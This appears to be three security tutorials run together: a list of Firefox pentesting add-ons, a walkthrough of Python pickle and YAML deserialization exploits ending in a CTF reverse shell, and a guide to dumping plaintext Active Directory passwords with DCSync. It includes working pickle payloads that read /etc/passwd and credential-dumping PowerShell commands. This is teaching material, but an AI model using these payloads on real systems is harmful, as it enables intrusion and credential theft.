Firefox Addons for Pentesting

 Firefox Addons for Pentesting

In this article, we will learn how to customise the Firefox browser for efficient pen-testing along with extensions you can use for the same purpose.

Table of contents:

·       Introduction

·       Understanding the Role of the Browser in Penetration Testing

·       Extensions for efficient pen-testing

·       Wappalyzer

·       Foxyproxy

·       Hacktool

·       Hackbar

·       Tamper data

·       User-agent Switcher

·       Cookie editor

·       Temp mail

·       Built with

·       Conclusion

·       Mindmap

 

Introduction

In the ever-evolving landscape of cybersecurity, penetration testing stands as a crucial pillar of defence against the relentless onslaught of cyber threats. Penetration testers, often referred to as ethical hackers, play a pivotal role in identifying vulnerabilities and weaknesses within computer systems and applications. They simulate real-world attacks to uncover security flaws that malicious actors could exploit. One of the essential tools in a penetration tester's arsenal is their web browser, and customizing it for this purpose is of paramount importance. This article delves into why browser customization is vital for penetration testing and outlines the best practices for doing so.

 

Understanding the Role of the Browser in Penetration Testing

Before diving into the specifics of browser customization, it's essential to grasp the significance of the web browser in the realm of penetration testing. A web browser is more than just a tool for browsing websites; it is a versatile interface through which testers interact with web applications, inspect and manipulate data, and uncover vulnerabilities. Here's why browser customization matters in this context:

 

·       Control and Intercept Traffic: Customizing your browser allows you to exert fine-grained control over the HTTP traffic between your machine and web servers. Penetration testers need to intercept and analyse this traffic to identify vulnerabilities, such as injection attacks (e.g., SQL injection or Cross-Site Scripting), security misconfigurations, or sensitive data exposure. Customization facilitates the interception of requests and responses for in-depth analysis.

 

·       Seamless Integration with Tools: Leading penetration testing tools like Burp Suite and OWASP ZAP act as proxies that intercept, modify, and inspect HTTP traffic. Customizing your browser is essential to ensure that all web traffic flows through these tools, enabling a seamless integration that simplifies the testing process. Without customization, the tools cannot effectively capture and analyse the data.

 

·       Mimic Real-World Scenarios: Web applications often respond differently based on various factors, such as user agents, cookies, and headers. By customizing your browser, you can mimic these real-world scenarios and assess how the application behaves under different conditions. This is critical for understanding how security controls and mechanisms react to various inputs.

 

·       Enhanced Efficiency: Efficiency is a core concern for penetration testers. Customizing your browser with the necessary extensions, configurations, and settings streamlines the testing process. It enables testers to perform tasks more efficiently, saving time and increasing overall productivity.

 

·       Reducing False Positives: False positives can be a significant concern during penetration testing. Customizing your browser to closely resemble real user behaviour reduces the chances of encountering false positives. This ensures that the vulnerabilities identified are more likely to be genuine security issues, allowing organizations to focus on addressing critical weaknesses.

 

·       Session Management: Web applications often rely on session management and authentication mechanisms. Customizing your browser with cookie editors and session management tools allows penetration testers to simulate different user sessions, test for session fixation, and assess the overall security of authentication processes.

 

·       Bypassing Security Controls: Web applications may implement security controls or obfuscation techniques that hinder testing efforts, such as client-side validation or anti-automation mechanisms. Customizing your browser can help you bypass or work around these controls, allowing testers to identify vulnerabilities that may remain hidden otherwise.

 

·       Script and Payload Testing: Penetration testers often need to test custom scripts and payloads for vulnerabilities like Cross-Site Scripting (XSS) or SQL Injection. Customized browser settings aid in injecting and executing these scripts, enabling thorough testing and validation of security issues.

 

·       Automation: Customized browsers can be integrated into automated testing frameworks, enabling the automation of repetitive tasks and vulnerability scanning. Automation is invaluable for large-scale assessments and continuous monitoring of web applications.

 

·       Personalized Testing Environment: Different penetration testers may have different preferences and methodologies. Browser customization allows each tester to tailor their environment to meet their specific needs, ensuring that they can conduct assessments effectively and efficiently.

 

Extensions for efficient pen-testing

When it comes to penetration testing, having the right browser extensions can significantly enhance your capabilities and efficiency. Here is a list of some of the best browser extensions for penetration testing:

 

Wappalyzer

While not strictly a penetration testing extension, Wappalyzer helps you identify the technologies and frameworks used by a website. This information can be valuable for understanding the attack surface and potential vulnerabilities. Once installed in Firefox, the Wappalyzer extension works quietly in the background. When you visit a website, it scans the site and then displays a small icon in the browser toolbar. Clicking on this icon reveals a wealth of information about the site's underlying technologies.

Wappalyzer can identify various aspects of a website, including the content management system (CMS), e-commerce platforms, web servers, programming languages, analytics tools, and more. This information can be invaluable for competitive analysis, SEO optimization, or understanding the security implications of the technologies in use. This extension doesn't interfere with a website's functionality; it simply provides you with useful metadata that can inform your decisions. This extension is especially beneficial for web developers who may want to examine the technologies used on websites for inspiration or troubleshooting.

Overall, Wappalyzer is a legitimate and widely used extension that promotes transparency and understanding in the online world, making it a valuable resource for web professionals and enthusiasts alike. You can install it in your browser from the following link:

https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search

 

 

FoxyProxy

FoxyProxy is a Firefox extension that empowers users to manage and optimize their proxy settings effortlessly. It's an invaluable tool for individuals seeking enhanced online privacy, security, and control over their internet browsing experience.

Once installed, FoxyProxy allows users to easily switch between multiple proxy servers, routing their internet traffic through different locations or configurations. This is particularly useful for circumventing geo-restrictions, accessing region-locked content, or maintaining anonymity by masking your IP address. It offers a user-friendly interface that lets you create profiles for various proxy configurations. You can define rules to determine when specific proxies should be used, based on website URLs, IP addresses, and other criteria. This level of granular control ensures that your internet activity remains secure and private.

Additionally, FoxyProxy supports both HTTP and SOCKS proxy protocols, making it compatible with a wide range of proxy servers. Whether you're a privacy-conscious user, a digital marketer conducting geo-targeting research, or a web developer testing different proxy setups, FoxyProxy is a versatile and powerful extension that simplifies proxy management within the Firefox browser. You can download FoxyProxy from the following link:

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search

 

HackTool

HackTools is a web extension designed to assist in conducting web application penetration tests. It offers a comprehensive set of resources, including cheat sheets and various tools commonly used during tests, such as XSS payloads and reverse shells. With this extension, the need to search for payloads on various websites or within your local storage is eliminated. Most of the necessary tools are readily accessible with just a single click. HackTools can be conveniently accessed through the browser's DevTools section, either as a pop-up or within a dedicated tab, accessible with the F12 key.

 

You can download the extension with the following link:

https://addons.mozilla.org/en-US/firefox/addon/hacktools/

 

 

Hack bar

Hackbar is a free Firefox extension that proves invaluable for security researchers during web application and web server testing. It simplifies common tasks such as interacting with domains, subdomains, and URLs of the target, as well as modifying parameters in the browser's address bar and reloading websites. These actions, while essential, can be time-consuming. Hackbar is a freely available open-source tool accessible on GitHub. It serves as a valuable aid for evaluating the security of web applications and web servers. Security researchers often employ Hackbar for tasks such as checking cross-site scripting (XSS) and SQL injection vulnerabilities on websites. It facilitates the discovery of website subdomains. Hackbar is compatible with multiple operating systems, including Windows.

You can download hackbar from the following link:

https://addons.mozilla.org/en-US/firefox/addon/hackbartool/

 

 

Tamper Data

Tamper Data is a Firefox extension that plays a pivotal role in the realm of web security and development. It empowers users, particularly security professionals, ethical hackers, and developers, to inspect and modify data exchanged between their browser and web servers in real-time. With Tamper Data, users can intercept and view HTTP/HTTPS requests and responses, gaining granular control over the data flow. It acts as a proxy between the browser and the server, allowing you to scrutinize the headers, cookies, and parameters of each request. This level of insight is indispensable for identifying security vulnerabilities, debugging web applications, and optimizing performance.

Tamper Data is instrumental in various security assessments. Security experts use it to test for common web vulnerabilities like Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and SQL Injection. It enables them to observe how data is transmitted and processed, helping uncover potential weaknesses that could be exploited by malicious actors.

You can download Tamper data from the following link:

https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/

 

User Agent Switcher

The User-Agent Switcher is a valuable Firefox extension that grants users the ability to change their browser's user agent string, effectively disguising their browser identity when interacting with websites. It's a versatile tool with various practical applications. This extension proves exceptionally useful for web developers and testers. They can simulate different user agents to assess how websites respond to various browsers and devices. This helps ensure that web content is responsive and functions correctly for a diverse user base. By switching user agents, developers can catch and address compatibility issues early in the development process. Additionally, the User-Agent Switcher is handy for privacy-conscious individuals. They can use it to enhance online anonymity by altering their user agent string, making it more challenging for websites to track and profile them based on their browser information.

You can download the extension from the following link:

https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/

 

 

Cookie Editor

Cookie Editor enables users to view, edit, delete, and add cookies for specific websites. This level of control is crucial for enhancing online privacy, as users can choose which cookies to retain and which to discard. It's an effective means of blocking unwanted tracking cookies while allowing essential cookies to function.

Furthermore, web developers and testers find Cookie Editor invaluable for debugging and testing web applications. They can manipulate cookies to simulate different user scenarios and assess how websites respond under various conditions. This helps identify and address potential issues related to cookie handling within web applications.

 

You can download this extension from the following link:

https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/

 

Temp Mail

A Temporary Email extension for Firefox is a handy tool for enhancing online privacy and reducing email-related clutter. This type of extension generates disposable email addresses, allowing users to receive emails without revealing their primary email addresses. Here are some key benefits and applications:

·       Privacy Protection: Temporary email addresses shield your primary email account from spam, phishing attempts, and potential data breaches. You can use these disposable addresses for online registrations, subscriptions, or any situation where you want to avoid sharing your personal email.

 

·       Reduced Inbox Clutter: Many online services send promotional emails or newsletters after registration. Using a temporary email address keeps such emails separate from your primary inbox, helping you stay organized.

 

·       Verification and Testing: Web developers and testers often use temporary email addresses for testing user registration and email verification processes in applications without using real email accounts.

 

·       Anonymous Sign-ups: When exploring new websites or platforms, you can sign up using a temporary email address to avoid revealing your identity until you're comfortable with the service.

 

·       Bypass Email Verification: In some cases, you can use a temporary email address to bypass email verification requirements, making it easier to access certain content or services.

 

 

Built With

 

BuiltWith operates seamlessly within Firefox, allowing users to quickly assess websites' underlying technologies with a simple click. It offers a wealth of information, including details about the Content Management System (CMS), web hosting, programming languages, analytics tools, and more. This data can be instrumental for competitive analysis, optimizing digital marketing strategies, or exploring potential business collaborations.

 

Web developers benefit from BuiltWith by gaining insights into the technologies used by websites, aiding in understanding best practices and industry trends. It can also be used for debugging purposes, helping developers identify compatibility issues or security vulnerabilities related to specific technologies.

 

You can download the extension from the following link:

https://addons.mozilla.org/en-US/firefox/addon/builtwith/

 

Conclusion

Customizing your web browser for penetration testing is an indispensable practice that empowers ethical hackers to identify and mitigate vulnerabilities in web applications effectively. The browser serves as the primary interface through which testers interact with web resources, analyse HTTP traffic, and manipulate data to uncover security flaws.

By customizing your browser, you gain control over traffic, seamlessly integrate with security tools, mimic real-world scenarios, enhance efficiency, reduce false positives, manage sessions, bypass security controls, and test scripts and payloads. Moreover, a personalized testing environment tailored to your needs ensures that you can conduct assessments with precision and accuracy.

To customize your browser effectively, select the right browser, install security-oriented extensions, configure proxy settings, manage SSL/TLS certificates, disable unnecessary features, secure your environment, stay informed about the latest vulnerabilities, and document your findings meticulously. Following these best practices enables penetration testers to maximize their impact in safeguarding the digital landscape against cyber threats, ultimately enhancing the security posture of organizations and individuals alike.

Mindmap

There are so many extensions/ addons for Firefox from which you can choose to be efficient in your testing process. All of such extensions are mentioned in the following mind map:

Python Serialization Vulnerabilities - Pickle

Introduction

Serialization gathers up the data from objects and converts them to a string of bytes, and writes to disk. The data can be deserialized and the original objects can be recreated. Many programming languages offer a way to do this including PHP, Java, Ruby and Python (common backend coding languages in web).

Let's talk about serialization in Python. In Python, when we can use the pickle  module, the serialization is called “pickling.”

Table of content

●      Serialization in Python

●      Serialization in Web Applications

●      Over Pickling

●      Python YAML vs Python Pickle

●      Mitigation

●      Demonstration

●      Conclusion

 

 

Serialization in Python

While using Python, pickle.dumps() is used to serialize some data and pickle.loads() is used to deserialize it (pickling and unpickling). For eg: here is an array, pickled.

 

python3

>>> import pickle

>>> variable = pickle.dumps([1,2,3])

>>> print(variable)

b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.'

>>> pickle.loads(variable)

[1, 2, 3]

>>> 

 

 

As we can see above, when we print the variable, we see a byte string. This is serialization. Later, with pickle.loads(variable) we are deserializing the object.

 

This is helpful in many cases, including when we want to save some variables from a program on the drive as a binary which can be later used in other programs. For example, let’s create an array and save it as a binary file.

 

import pickle

 

variable = pickle.dumps([1,2,3])

with open("myarray.pkl","wb") as f:

f.write(variable)

 

 

As we can see, a pickle binary is now stored on the drive. Let's read it using pickle again.

 

import pickle

obj = open("myarray.pkl","rb").read()

pickle.loads(obj)

 

 

As you can see, we can now operate on this deserialized object (obj) just like an array again! Throughout the SDLC, there may come a time where a developer would want to quit the IDE but wants to save all the data and states of variables at the moment, that is where this is a helpful feature.

 

 

Serialization in Web Apps

Okay, so we have talked about serialization in software applications. But what is the use of serialization in web apps? So, the HTTP is a stateless protocol. That is, the state of one request doesn't depend on the previous request. But sometimes there is a need to maintain state. That's why we have cookies. Cookies would bring a sense of statefulness in HTTP protocol.

 

If we want a user's information and some data to be retained next time they interact with the server, serialization is a wonderful use case. Just serialize some data, put it into a cookie (which is taking up user's storage and not server's! WoW) and next request just deserialize it and use it on the site.

 

Pickle is used in python web apps to do this. But one caveat is that it deserializes unsafely and its content is controlled by the client. Just adding, serialization in json is much safer! Unlike some other serialization formats, JSON doesn't allow executable code to be embedded within the data. This eliminates the risk of code injection vulnerabilities that can be exploited by malicious actors.

 

It is possible to construct malicious pickle data which will execute arbitrary code!

 

 

Over Pickling

We have talked about pickling well known data types like an array. But what if we were to pickle our own custom classes? Python can easily understand and deserialize well known classes but what will it do with custom classes like connection to servers and all those fancy networking scripts? It doesn't even make sense to serialize those but Python developers added a way to pickle that too. There is a chance that discrepancies might happen when python tries to deserialize such objects.

 

Custom pickling and unpickling code can be used. When you define a class you can provide a mechanism that states, 'here is what you should do when someone asks to unpickle you!' So when python goes to unpickle this string of bytes, it might have to run some code to figure out how to properly reconstruct that object. This code will be embedded in this pickle file.

 

Let's see a small example.

 

Here is a code for proof of concept. This code is creating a class called EvilPickle. To implement support for pickling on your custom object, you define a method called "__reduce__" which returns a function and pair of arguments to call that function with. Here, a simple "cat /etc/passwd" would be run using os.system function. Finally, this would be written in a binary file called backup.data.

 

python

import pickle

import os

class EvilPickle(object):

  def __reduce__(self):

    return (os.system, ('cat /etc/passwd', ))

pickle_data = pickle.dumps(EvilPickle())

with open("backup.data", "wb") as file:

  file.write(pickle_data)

 

The idea here is to make the deserializer run cat /etc/passwd on their system. Let's try it out now! We save the above code in evilpickle.py file and run it. Just to check, we'll cat the backup.data file. Here we can clearly see something fishy!

 

The user deserializes it anyway and ends up giving out /etc/passwd file.

 

python

import pickle

pickle.loads(open("backup.data","rb").read())

 

 

We can get even more nerdy and see what is happening under the hood by disassembling using pickletools. Here, the pickling is done on unix like os (posix) which is stored in a SHORT variable and stored in as 0 and each successive command after that in different numeric values on the stack. The `REDUCE` opcode is used to call a callable (typically a Python function or method, here os.system (represented as posix and system)) with arguments (called TUPLE. here, cat /etc/passwd). And finally, the program is stopped.

 

The primary difference between tuples and lists is that tuples are immutable as opposed to lists which are mutable. Therefore, it is possible to change a list but not a tuple. The contents of a tuple cannot change once they have been created in Python due to the immutability of tuples.

 

python3 -m pickletools -a backup.data

 

note: -a options gives some info about each steps while using pickletools

 

 

So since the pickle object is user controlled and it unpickles at server, we can even use this to get remote server shell as well (using sockets and pickling it and finally providing it to the server)

PyTorch ML model up until recent times used pickle for serialization of ML models and was vulnerable to arbitrary code execution. Safetensors overcame this issue.

 

 

Python YAML vs Python Pickle

Python YAML is another serialization format instead of pickle. But even Python YAML allows execution of arbitrary code by default. Here is another POC:

 

import yaml

document = "!!python/object/apply:os.system ['cat /etc/passwd']"

yaml.load(document)

 

This would also execute cat /etc/passwd. We can avoid this by using "safe_load()" instead of load anyway!

 

 

Mitigation

Pickle is just one module in Python. This is a very well known tool and developers use it still but if the developers are a little more mindful, they’ll not ignore the warning shown below on pickle’s documentation page:

 

Alternatives to pickle and brief POCs on them are as follows:

 

1. JSON

 

import json

 

# Serialize

data = {"key": "value"}

json_data = json.dumps(data)

 

# Deserialize

deserialized_data = json.loads(json_data)

 

 

2. msgpack

 

import msgpack

 

# Serialize

data = {"key": "value"}

msgpack_data = msgpack.packb(data)

 

# Deserialize

deserialized_data = msgpack.unpackb(msgpack_data, raw=False)

 

Some other safe options to use would be: protobuf by google, CBOR.

 

 

Demonstration

Okay, so the given website is a note taking website which is using serialization. Here is what happens when I submit a note with a PNG image.

 

 

This looks something like this when processed by the server. Observe the URL which is rendering a .pickle file

 

 

The challenge also provided us with an app.py source code which tells us all about the background logic. I can’t post the entire code but here are some relevant snippets.

 

As we can see, the code is accepting title, content and image as an object, pickling it and storing it in title.pickle

 

Here are the key functions of the code:

 

1. Note() class accepts an object new_note with 3 items: title, content, image_filename.

2. save_note() is calling pickle.dumps() to pickle new_note. save_note() is also called to store an image using image.save which is a flask function. Similarly image.filename extracts image's filename.

3. secure_filename() function converts insecure names to secure ones. For example: note 1 becomes note_1, ../../../etc/passwd becomes etc_passwd

4. unpickle_file is loading the pickled file provided to it and unpickles it.

 

Here are some key takeaways about the functionality of the code:

 

1. Site is accepting 3 key items.

2. It is not checking if PNG is safe or not (as in if it is a valid PNG or not. This is a good attack point)

3. All in all, PNG file upload is a really strong contender to put code in because: a, site isn't validating safety of PNG and b, it will unpickle any file we provide.

 

I tried with a simple cat /etc/passwd command on my local machine and the evil.png pickled file was deserializing properly!

 

import pickle

import os

class EvilPickle(object):

  def __reduce__(self):

    return (os.system, ('cat /etc/passwd', ))

pickle_data = pickle.dumps(EvilPickle())

with open("evil.png", "wb") as file:

  file.write(pickle_data)

 

 

Let's take it a step further and use a netcat listener to receive data from deserialized local execution of evil.png and have it give us a shell!

 

By following the same logic, we could exploit the server. First I create a PNG file and upload it on the server.

 

The uploaded data becomes a pickle file which gets stored on the server and when it is called, data is visible on the screen (it is unpickled).

 

Finally we access the uploaded PNG file on the server.

 

We get a reverse shell on the netcat listener we set up this way!

This is how we root the box! Please note that I hid and altered a few details throughout the CTF section of the article because the CTF is still an ongoing challenge and I couldn’t obtain permission to post a complete solution.

 

Conclusion

Serialization vulnerabilities are easy to exploit and easy to overlook by developers. One can even achieve arbitrary code execution on machines. As we saw, when deserialization insecurely or by using insecure functions, we put our infrastructure at risk for compromise. Developers should carefully read the documentation page and not ignore warnings. And finally, use languages like json to serialize/deserialize data which can’t be used to contain executable code since it is a data-only language. Thanks for reading.

Credential Dumping – Active Directory Reversible Encryption

 Introduction

According to MITRE an adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.

·         MITRE TACTIC: Credential Dumping (ID: TA0006)

·         MITRE Technique Modify Authentication Process (T1556)

·         MITRE SUB ID: Reversible Encryption (T1556.005)

In Domain Controller user account reversible encryption is enabled, which means the encrypted data can be reversed back to the user’s password. The password stored with reversible encryption policy is not a hash since a function can be called to get back to the original clear-text password.

Do you know?

As per Microsoft: If you use the Challenge Handshake Authentication Protocol (CHAP) through remote access or Internet Authentication Services (IAS), you must enable this policy setting. CHAP is an authentication protocol that is used by remote access and network connections. Digest Authentication in Internet Information Services (IIS) also requires that you enable this policy setting.

 

Table of content

·         Lab Setup

·         DC-Sync Attack-Dump Plain text Password

·         Mitigation

·         Conclusion

Lab Setup

Enabling Reversible encryption in Active Directory Users

There is multiple methods to enable Reversible encryption property:

1)      User Account Property

Enable the Reversible encryption by modify the account property for Domain User account.

 

2)      Powershell Command

set-ADUser – AllowReversiblePasswordEncryption $true

3)      Group policy Management-

Enable the store password using reversible encryption with Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\

 

Validate the property through User’s property-Attribute Editor for UserAccountControl.

 

NOTE: Now if the system Administrator reset the password for the user account, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled.

Enumeration

PowerShell Command to find user enabled with allow reversible password encryption.

Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq "true"} | Select Name, sAMAccountName

Attack: DC-Sync

In our Pervious article we have describe about DCsyn attack, read more from here. You can download the DC Sync Script tool here.

Commands to execute in the domain controller to check user clear text password.

powershell.exe -ep bypass

Import-Module .\Invoke-DCSync.ps1

Invoke-DCSync -AllData

 

DCSync shows the clear-text password of target user.

 

Mitigation

• Ensure that Allow Reversible Password Encryption property is set to disabled.
• Group policy store password using reversible encryption is set to disable.

Conclusion

In this article, we were able to decrypt the password of active directory user accounts. This article can serve as a reference for Red Team activists for Credential Dumping – Active Directory Plain Text Password.